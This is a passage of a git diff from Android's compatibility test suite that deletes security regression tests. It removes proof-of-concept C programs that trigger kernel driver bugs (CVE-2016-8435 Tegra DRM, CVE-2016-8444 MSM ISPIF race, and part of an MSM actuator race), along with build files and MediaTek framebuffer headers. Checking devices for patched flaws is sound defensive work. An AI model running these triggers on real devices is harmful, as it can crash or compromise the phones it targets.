-  if(!pid){
-    argn[0] = 1;
-    while(1){
-      usleep(10);
-      syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-    }
-  }
-  i = 0;
-  while(1){
-    i++;
-    argn[0] = 7;
-    syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
-    usleep(100);
-
-    argn[0] = 0;
-    syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
-
-  }
-
-  close(fd);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
deleted file mode 100644
index 46920cf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8435
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-braces -Wno-missing-field-initializers
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
deleted file mode 100644
index 70574fe..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __local_pwn_H__
-#define __local_pwn_H__
-
-#define SIOCIWFIRSTPRIV 0x8BE0
-#define SIOCGIWNAME     0x8B01
-#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
-#define PRIV_CUSTOM_BWCS_CMD            13
-#define PRIV_CMD_OID                    15
-#define PRIV_CMD_SW_CTRL                20
-#define PRIV_CMD_WSC_PROBE_REQ          22
-
-enum host1x_class {
-        HOST1X_CLASS_HOST1X = 0x1,
-        HOST1X_CLASS_NVENC = 0x21,
-        HOST1X_CLASS_VI = 0x30,
-        HOST1X_CLASS_ISPA = 0x32,
-        HOST1X_CLASS_ISPB = 0x34,
-        HOST1X_CLASS_GR2D = 0x51,
-        HOST1X_CLASS_GR2D_SB = 0x52,
-        HOST1X_CLASS_VIC = 0x5D,
-        HOST1X_CLASS_GR3D = 0x60,
-        HOST1X_CLASS_NVJPG = 0xC0,
-        HOST1X_CLASS_NVDEC = 0xF0,
-};
-
-#define DRM_COMMAND_BASE                0x40
-#define DRM_COMMAND_END                 0xA0
-
-#define DRM_TEGRA_OPEN_CHANNEL          0x05
-#define DRM_TEGRA_CLOSE_CHANNEL         0x06
-#define DRM_TEGRA_SUBMIT		0x08
-
-struct drm_tegra_open_channel {
-        __u32 client;
-        __u32 pad;
-        __u64 context;
-};
-
-struct drm_tegra_close_channel {
-        __u64 context;
-};
-
-struct drm_tegra_submit {
-	__u64 context;
-	__u32 num_syncpts;
-	__u32 num_cmdbufs;
-	__u32 num_relocs;
-	__u32 num_waitchks;
-	__u32 waitchk_mask;
-	__u32 timeout;
-	__u64 syncpts;
-	__u64 cmdbufs;
-	__u64 relocs;
-	__u64 waitchks;
-	__u32 fence;		/* Return value */
-	__u32 reserved0;
-	__u64 fences;
-	__u32 reserved1[2];	/* future expansion */
-};
-
-#define DRM_IOCTL_BASE                  'd'
-#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
-#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
-
-struct drm_tegra_syncpt {
-	__u32 id;
-	__u32 incrs;
-};
-
-struct list_head {
-	struct list_head *next, *prev;
-};
-
-struct tegra_drm_client_ops {
-	void* open_channel;
-	void* close_channel; 
-	void* reset;
-	void* is_add_reg;
-	void* submit;
-};
-
-struct tegra_drm_client {
-	/* sizeof(host1x_client) is 232 */
-	unsigned char pad[232];	/* maybe gadget arguments */
-	struct list_head list;
-	struct tegra_drm_client_ops *ops;
-};
-
-struct tegra_drm_context {
-	struct tegra_drm_client *client;
-	void *channel;
-	struct list_head list;
-	/* FIXME we need pass lock op */
-	//struct mutex lock;
-	//bool keepon;
-	//struct host1x_user user;
-};
-
-#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
deleted file mode 100644
index ff6acb0..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-
-#include "local_pwn.h"
-
-#define DEV "/dev/dri/renderD129"
-#define SYN_NUM 64
-
-struct drm_tegra_open_channel open_c = { 0 };
-struct drm_tegra_submit submit_c = { 0 };
-struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };
-
-int main()
-{
-	int ret;
-	int dev_fd;
-	int i;
-
-	/* open dev */
-	dev_fd = open(DEV,O_RDONLY);
-	if(dev_fd == -1){
-		printf("[-] open dev failed %d %s\n", errno, strerror(errno));
-		return 0;
-	}
-	
-	/* prepare for ioctl */
-	open_c.client = HOST1X_CLASS_VIC;
-	submit_c.num_syncpts = SYN_NUM;
-	submit_c.syncpts = (__u64)syncpts;
-
-	for(i = 1; i < SYN_NUM; i++){
-		syncpts[i].id = 192;
-		syncpts[i].incrs = 0xffff;
-	}
-
-	/* open channel */
-	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
-	if(ret == -1){
-		printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
-		goto out_dev;
-	}
-	submit_c.context = open_c.context;
-	printf("[+] call submit\n");
-	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
-	printf("[+] submit return %d\n", ret);
-	
-out_dev:
-	close(dev_fd);
-	return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
deleted file mode 100644
index 531a3d1..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8444
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
deleted file mode 100644
index d681a43..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <unistd.h>
-#include <fcntl.h>
-#include <sys/syscall.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-
-#define MSM_SD_SHUTDOWN 0xc00856dd
-#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
-
-struct ispif_cfg_data {
-  int32_t  cfg_type;
-  union {
-    int reg_dump;                        /* ISPIF_ENABLE_REG_DUMP */
-    uint32_t csid_version;               /* ISPIF_INIT */
-    //struct msm_ispif_vfe_info vfe_info;  /* ISPIF_SET_VFE_INFO */
-    //struct msm_ispif_param_data params;  /* CFG, START, STOP */
-  };
-};
-
-long r[11];
-
-int fd;
-struct ispif_cfg_data data;
-
-void *worker_thread(void *arg) {
-
-  int arg1[3] =  {0};
-  switch ((long)arg) {
-  case 0:
-    data.cfg_type = 8; ////release
-    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-    break;
-  case 1:
-    ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
-    break;
-  }
-  return NULL;
-}
-
-int main() {
-
-  int pid,i;
-  pthread_t th[4];
-  fd = open( "/dev/v4l-subdev17", 0x0ul );
-
-  printf("please wait for several seconds...\n");
-
-  while(1){
-
-    data.cfg_type = 2; ////init
-    data.csid_version = 1;
-    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-
-    for (i = 0; i < 2; i++) {
-      pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
-      usleep(10);
-    }
-  }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
deleted file mode 100644
index 01ffa37..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8448
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
deleted file mode 100644
index b33073c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
+++ /dev/null
@@ -1,397 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_H
-#define __MTKFB_H
-
-#include <linux/types.h>
-#include "mtkfb_info.h"
-
-
-/**NOTICE:
- * Must be consistent with bionic/libc/kernel/linux/common/mtkfb.h
- */
-#define MTK_FB_NO_ION_FD                 ((int)(~0U>>1))
-#define MTK_FB_NO_USE_LAEYR_ID			 ((int)(~0U>>1))
-#define FBCAPS_GENERIC_MASK              (0x00000fff)
-#define FBCAPS_LCDC_MASK                 (0x00fff000)
-#define FBCAPS_PANEL_MASK                (0xff000000)
-#define FBCAPS_MANUAL_UPDATE             (0x00001000)
-#define FBCAPS_SET_BACKLIGHT             (0x01000000)
-#define MTKFB_ERROR_IS_EARLY_SUSPEND     (0x12000000)
-/* --------------------------------------------------------------------------- */
-/* IOCTL commands. */
-#define MTK_IOW(num, dtype)     _IOW('O', num, dtype)
-#define MTK_IOR(num, dtype)     _IOR('O', num, dtype)
-#define MTK_IOWR(num, dtype)    _IOWR('O', num, dtype)
-#define MTK_IO(num)             _IO('O', num)
-#define MTKFB_QUEUE_OVERLAY_CONFIG			MTK_IOW(137, struct fb_overlay_config)
-/* -------------------------------------------------------------------------- */
-#define MTKFB_SET_OVERLAY_LAYER                MTK_IOW(0, struct fb_overlay_layer)
-#define MTKFB_TRIG_OVERLAY_OUT                 MTK_IO(1)
-#define MTKFB_SET_VIDEO_LAYERS                 MTK_IOW(2, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_FRAMEBUFFER              MTK_IOW(3, unsigned long)
-#define MTKFB_CONFIG_IMMEDIATE_UPDATE          MTK_IOW(4, unsigned long)
-#define MTKFB_SET_MULTIPLE_LAYERS              MTK_IOW(5, struct fb_overlay_layer)
-#define MTKFB_REGISTER_OVERLAYBUFFER           MTK_IOW(6, struct fb_overlay_buffer_info)
-#define MTKFB_UNREGISTER_OVERLAYBUFFER         MTK_IOW(7, unsigned int)
-#define MTKFB_SET_ORIENTATION                  MTK_IOW(8, unsigned long)
-#define MTKFB_FBLAYER_ENABLE                   MTK_IOW(9, unsigned int)
-#define MTKFB_LOCK_FRONT_BUFFER                MTK_IO(10)
-#define MTKFB_UNLOCK_FRONT_BUFFER              MTK_IO(11)
-#define MTKFB_POWERON				           MTK_IO(12)
-#define MTKFB_POWEROFF				           MTK_IO(13)
-
-/* Fence/Ion, OVL decoupling */
-#define MTKFB_PREPARE_OVERLAY_BUFFER           MTK_IOW(14, struct fb_overlay_buffer)
-
-/* S3D control */
-#define MTKFB_SET_COMPOSING3D                  MTK_IOW(15, unsigned long)
-#define MTKFB_SET_S3D_FTM		               MTK_IOW(16, unsigned long)
-
-/* FM De-sense for EM and Normal mode */
-#define MTKFB_GET_DEFAULT_UPDATESPEED          MTK_IOR(17, unsigned long)
-#define MTKFB_GET_CURR_UPDATESPEED             MTK_IOR(18, unsigned long)
-/* for EM, not called change writecycle because DPI change pll ckl */
-#define MTKFB_CHANGE_UPDATESPEED               MTK_IOW(19, unsigned long)
-#define MTKFB_GET_INTERFACE_TYPE               MTK_IOR(20, unsigned long)	/* /0 DBI, 1 DPI, 2 MIPI */
-#define MTKFB_GET_POWERSTATE		           MTK_IOR(21, unsigned long)	/* /0: power off  1: power on */
-#define MTKFB_GET_DISPLAY_IF_INFORMATION       MTK_IOR(22, mtk_dispif_info_t)
-/*called before SET_OVERLAY each time, if true, hwc will not use FB_LAYER again*/
-#define MTKFB_AEE_LAYER_EXIST                  MTK_IOR(23, unsigned long)
-#define MTKFB_GET_OVERLAY_LAYER_INFO           MTK_IOR(24, struct fb_overlay_layer_info)
-#define MTKFB_FACTORY_AUTO_TEST                MTK_IOR(25, unsigned long)
-#define MTKFB_GET_FRAMEBUFFER_MVA              MTK_IOR(26, unsigned int)
-#define MTKFB_SLT_AUTO_CAPTURE                 MTK_IOWR(27, struct fb_slt_catpure)
-
-/*error handling*/
-#define MTKFB_META_RESTORE_SCREEN              MTK_IOW(101, unsigned long)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT       MTK_IO(103)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT_AEE   MTK_IO(104)
-
-/*restore bootlogo and character in meta mode*/
-#define MTKFB_META_SHOW_BOOTLOGO               MTK_IO(105)
-
-/*Extension FB active option*/
-#define FB_ACTIVATE_NO_UPDATE  512       /* Skip frame update */
-/**
- * Just for mt6589 Platform
- * @{
- */
-#define MTKFB_GETVFRAMEPHYSICAL                MTK_IOW(41, unsigned long)
-#define MTKFB_WAIT_OVERLAY_READY               MTK_IO(42)
-#define MTKFB_GET_OVERLAY_LAYER_COUNT          MTK_IOR(43, unsigned long)
-#define MTKFB_GET_VIDEOLAYER_SIZE              MTK_IOR(44, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_VIDEOBUFFER              MTK_IOW(45, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-/* Video Playback Mode */
-#define MTKFB_TV_POST_VIDEO_BUFFER             MTK_IOW(46, unsigned long)
-#define MTKFB_TV_LEAVE_VIDEO_PLAYBACK_MODE     MTK_IOW(47, unsigned long)
-/* For Factory Mode */
-#define MTKFB_IS_TV_CABLE_PLUG_IN              MTK_IOW(48, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-#define MTKFB_BOOTANIMATION			           MTK_IO(49)
-#define MTKFB_GETFPS			               MTK_IOW(50, unsigned long)
-#define MTKFB_VSYNC                            MTK_IO(51)
-
-/* ----------------------------------------------------------------------FM De-sense for EM and Normal mode */
-#define MTKFB_FM_NOTIFY_FREQ                   MTK_IOW(52, unsigned long)	/* for Normal mode */
-#define MTKFB_RESET_UPDATESPEED                MTK_IO(53)
-#define MTKFB_SET_UI_LAYER_ALPHA               MTK_IOW(54, unsigned long)
-#define MTKFB_SET_UI_LAYER_SRCKEY              MTK_IOW(55, unsigned long)
-
-#define MTKFB_GET_MAX_DISPLAY_COUNT		       MTK_IOR(56, unsigned int)
-#define MTKFB_SET_FB_LAYER_SECURE              MTK_IOW(57, int)
-/**
- * @}
- */
-/* ---------------------------------------------------------------------- */
-
-/* -------------------------------------------------------------------------- */
-
-typedef enum {
-	MTK_FB_ORIENTATION_0 = 0,
-	MTK_FB_ORIENTATION_90 = 1,
-	MTK_FB_ORIENTATION_180 = 2,
-	MTK_FB_ORIENTATION_270 = 3,
-} MTK_FB_ORIENTATION;
-
-
-typedef enum {
-	MTK_FB_TV_SYSTEM_NTSC = 0,
-	MTK_FB_TV_SYSTEM_PAL = 1,
-} MTK_FB_TV_SYSTEM;
-
-
-typedef enum {
-	MTK_FB_TV_FMT_RGB565 = 0,
-	MTK_FB_TV_FMT_YUV420_SEQ = 1,
-	MTK_FB_TV_FMT_UYUV422 = 2,
-	MTK_FB_TV_FMT_YUV420_BLK = 3,
-} MTK_FB_TV_SRC_FORMAT;
-
-typedef enum {
-	LAYER_NORMAL_BUFFER = 0,
-	LAYER_SECURE_BUFFER = 1,
-	LAYER_PROTECTED_BUFFER = 2,
-	LAYER_SECURE_BUFFER_WITH_ALIGN = 0x10001,	/* the higher 16 bits =1 for adding 64 bytes alignment */
-} MTK_FB_OVL_LAYER_SECURE_MODE;
-
-typedef struct _disp_dfo_item {
-	char name[32];
-	int value;
-} disp_dfo_item_t;
-
-/* -------------------------------------------------------------------------- */
-struct fb_slt_catpure {
-	MTK_FB_FORMAT format;
-
-	volatile char *outputBuffer;
-	unsigned int wdma_width;
-	unsigned int wdma_height;
-};
-
-struct fb_scale {
-	unsigned int xscale, yscale;
-};
-
-struct fb_frame_offset {
-	unsigned int idx;
-	unsigned long offset;
-};
-
-struct fb_update_window {
-	unsigned int x, y;
-	unsigned int width, height;
-};
-
-typedef enum {
-	LAYER_2D = 0,
-	LAYER_3D_SBS_0 = 0x1,
-	LAYER_3D_SBS_90 = 0x2,
-	LAYER_3D_SBS_180 = 0x3,
-	LAYER_3D_SBS_270 = 0x4,
-	LAYER_3D_TAB_0 = 0x10,
-	LAYER_3D_TAB_90 = 0x20,
-	LAYER_3D_TAB_180 = 0x30,
-	LAYER_3D_TAB_270 = 0x40,
-} MTK_FB_LAYER_TYPE;
-
-typedef enum {
-	DISP_DIRECT_LINK_MODE,
-	DISP_DECOUPLE_MODE
-} MTK_DISP_MODE;
-struct fb_overlay_mode {
-	MTK_DISP_MODE mode;
-};
-
-typedef enum {			/* map sessions to scenairos in kernel driver */
-	DISP_SESSION_LCM = 1 << 0,	/* DSI0 */
-	DISP_SESSION_MEM = 1 << 1,	/* OVL0->WDMA0 */
-/* Extension mode, Dst buf is provided by user,for Wifi Display or other purpose */
-	DISP_SESSION_WFD = 1 << 2,
-	DISP_SESSION_MHL = 1 << 3,	/* DPI */
-	DISP_SESSION_LCM1 = 1 << 4,	/* DSI1 */
-	DISP_SESSION_MEM1 = 1 << 5,	/* OVL1->WDMA1 */
-	/* TODO:can be extended with other Session Id */
-	SESSION_MASK = 0xff & ~(1 << 6)
-} MTK_DISP_SESSION;
-
-struct fb_overlay_session {
-	unsigned int session;	/* one or more @MTK_DISP_SESSION combined */
-};
-
-struct fb_overlay_decouple {
-	MTK_DISP_MODE mode;
-	unsigned int session;
-};
-struct fb_overlay_buffer {
-	/* Input */
-	int layer_id;
-	unsigned int layer_en;
-	int ion_fd;
-	unsigned int cache_sync;
-	/* Output */
-	unsigned int index;
-	int fence_fd;
-};
-
-struct fb_overlay_layer {
-	unsigned int layer_id;
-	unsigned int layer_enable;
-
-	void *src_base_addr;
-	void *src_phy_addr;
-	unsigned int src_direct_link;
-	MTK_FB_FORMAT src_fmt;
-	unsigned int src_use_color_key;
-	unsigned int src_color_key;
-	unsigned int src_pitch;
-	unsigned int src_offset_x, src_offset_y;
-	unsigned int src_width, src_height;
-
-	unsigned int tgt_offset_x, tgt_offset_y;
-	unsigned int tgt_width, tgt_height;
-	MTK_FB_ORIENTATION layer_rotation;
-	MTK_FB_LAYER_TYPE layer_type;
-	MTK_FB_ORIENTATION video_rotation;
-
-	unsigned int isTdshp;	/* set to 1, will go through tdshp first, then layer blending, then to color */
-
-	int next_buff_idx;
-	int identity;
-	int connected_type;
-	unsigned int security;
-	unsigned int alpha_enable;
-	unsigned int alpha;
-	int fence_fd;		/* 8135 */
-	int ion_fd;		/* 8135 CL 2340210 */
-};
-
-struct fb_overlay_config {
-	int fence;
-	int time;
-	struct fb_overlay_layer layers[4];
-};
-
-struct fb_overlay_buffer_info {
-	unsigned int src_vir_addr;
-	unsigned int size;
-};
-
-struct fb_overlay_layer_info {
-	unsigned int layer_id;
-	unsigned int layer_enabled;	/* TO BE DEL */
-	unsigned int curr_en;
-	unsigned int next_en;
-	unsigned int hw_en;
-	int curr_idx;
-	int next_idx;
-	int hw_idx;
-	int curr_identity;
-	int next_identity;
-	int hw_identity;
-	int curr_conn_type;
-	int next_conn_type;
-	int hw_conn_type;
-	MTK_FB_ORIENTATION layer_rotation;
-};
-/* -------------------------------------------------------------------------- */
-
-struct fb_post_video_buffer {
-	void *phy_addr;
-	void *vir_addr;
-	MTK_FB_TV_SRC_FORMAT format;
-	unsigned int width, height;
-};
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern unsigned int EnableVSyncLog;
-
-void mtkfb_log_enable(int enable);
-int mtkfb_set_backlight_mode(unsigned int mode);
-int mtkfb_set_backlight_level(unsigned int level);
-int mtkfb_get_debug_state(char *stringbuf, int buf_len);
-unsigned int mtkfb_fm_auto_test(void);
-void mtkfb_clear_lcm(void);
-#endif /* CONFIG_ARCH_MT6735 */
-
-#ifdef __KERNEL__
-
-#include <linux/completion.h>
-#include <linux/interrupt.h>
-#include <linux/workqueue.h>
-#include <linux/version.h>
-#include <../drivers/staging/android/sw_sync.h>
-
-
-#define MTKFB_DRIVER "mtkfb"
-
-enum mtkfb_state {
-	MTKFB_DISABLED = 0,
-	MTKFB_SUSPENDED = 99,
-	MTKFB_ACTIVE = 100
-};
-
-typedef enum {
-	MTKFB_LAYER_ENABLE_DIRTY = (1 << 0),
-	MTKFB_LAYER_FORMAT_DIRTY = (1 << 1),
-	MTKFB_LAYER_SET_DIRTY = (1 << 2),
-} MTKFB_LAYER_CONFIG_DIRTY;
-
-typedef struct {
-	struct work_struct work;
-	struct list_head list;
-	struct fb_overlay_config config;
-	struct sync_fence *fences[4];
-	struct ion_handle *ion_handles[4];
-	void *dev;
-} update_ovls_work_t;
-
-struct mtkfb_device {
-	int state;
-	void *fb_va_base;	/* MPU virtual address */
-	dma_addr_t fb_pa_base;	/* Bus physical address */
-	unsigned long fb_size_in_byte;
-	void *ovl_va_base;	/* MPU virtual address */
-	dma_addr_t ovl_pa_base;	/* Bus physical address */
-	unsigned long ovl_size_in_byte;
-
-	unsigned long layer_enable;
-	MTK_FB_FORMAT *layer_format;
-	unsigned int layer_config_dirty;
-
-	int xscale, yscale, mirror;	/* transformations.
-					   rotate is stored in fb_info->var */
-	u32 pseudo_palette[17];
-
-	struct fb_info *fb_info;	/* Linux fbdev framework data */
-	struct device *dev;
-
-	/* Android native fence support */
-	struct workqueue_struct *update_ovls_wq;
-	struct mutex timeline_lock;
-	struct sw_sync_timeline *timeline;
-	int timeline_max;
-	struct list_head pending_configs;	/* CL2340210 */
-	struct ion_client *ion_client;
-};
-
-#endif				/* __KERNEL__ */
-
-extern long hdmi_handle_cmd(unsigned int cmd, unsigned long arg);
-
-#if defined(CONFIG_ARCH_MT6797)
-extern unsigned int vramsize;
-#endif
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern bool is_early_suspended;
-extern void mtkfb_waitVsync(void);
-extern bool is_ipoh_bootup;
-
-#ifdef CONFIG_OF
-int _parse_tag_videolfb(void);
-extern unsigned int islcmconnected;
-extern unsigned int vramsize;
-#else
-extern char *saved_command_line;
-#endif
-#endif /* CONFIG_ARCH_MT6735 */
-
-
-#endif				/* __MTKFB_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
deleted file mode 100644
index 61e7cfd..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_INFO_H__
-#define __MTKFB_INFO_H__
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-
-	typedef enum {
-		DISPIF_TYPE_DBI = 0,
-		DISPIF_TYPE_DPI,
-		DISPIF_TYPE_DSI,
-		DISPIF_TYPE_DPI0,
-		DISPIF_TYPE_DPI1,
-		DISPIF_TYPE_DSI0,
-		DISPIF_TYPE_DSI1,
-		HDMI = 7,
-		HDMI_SMARTBOOK,
-		MHL,
-		DISPIF_TYPE_EPD,
-		SLIMPORT
-	} MTKFB_DISPIF_TYPE;
-
-	typedef enum {
-		MTKFB_DISPIF_PRIMARY_LCD = 0,
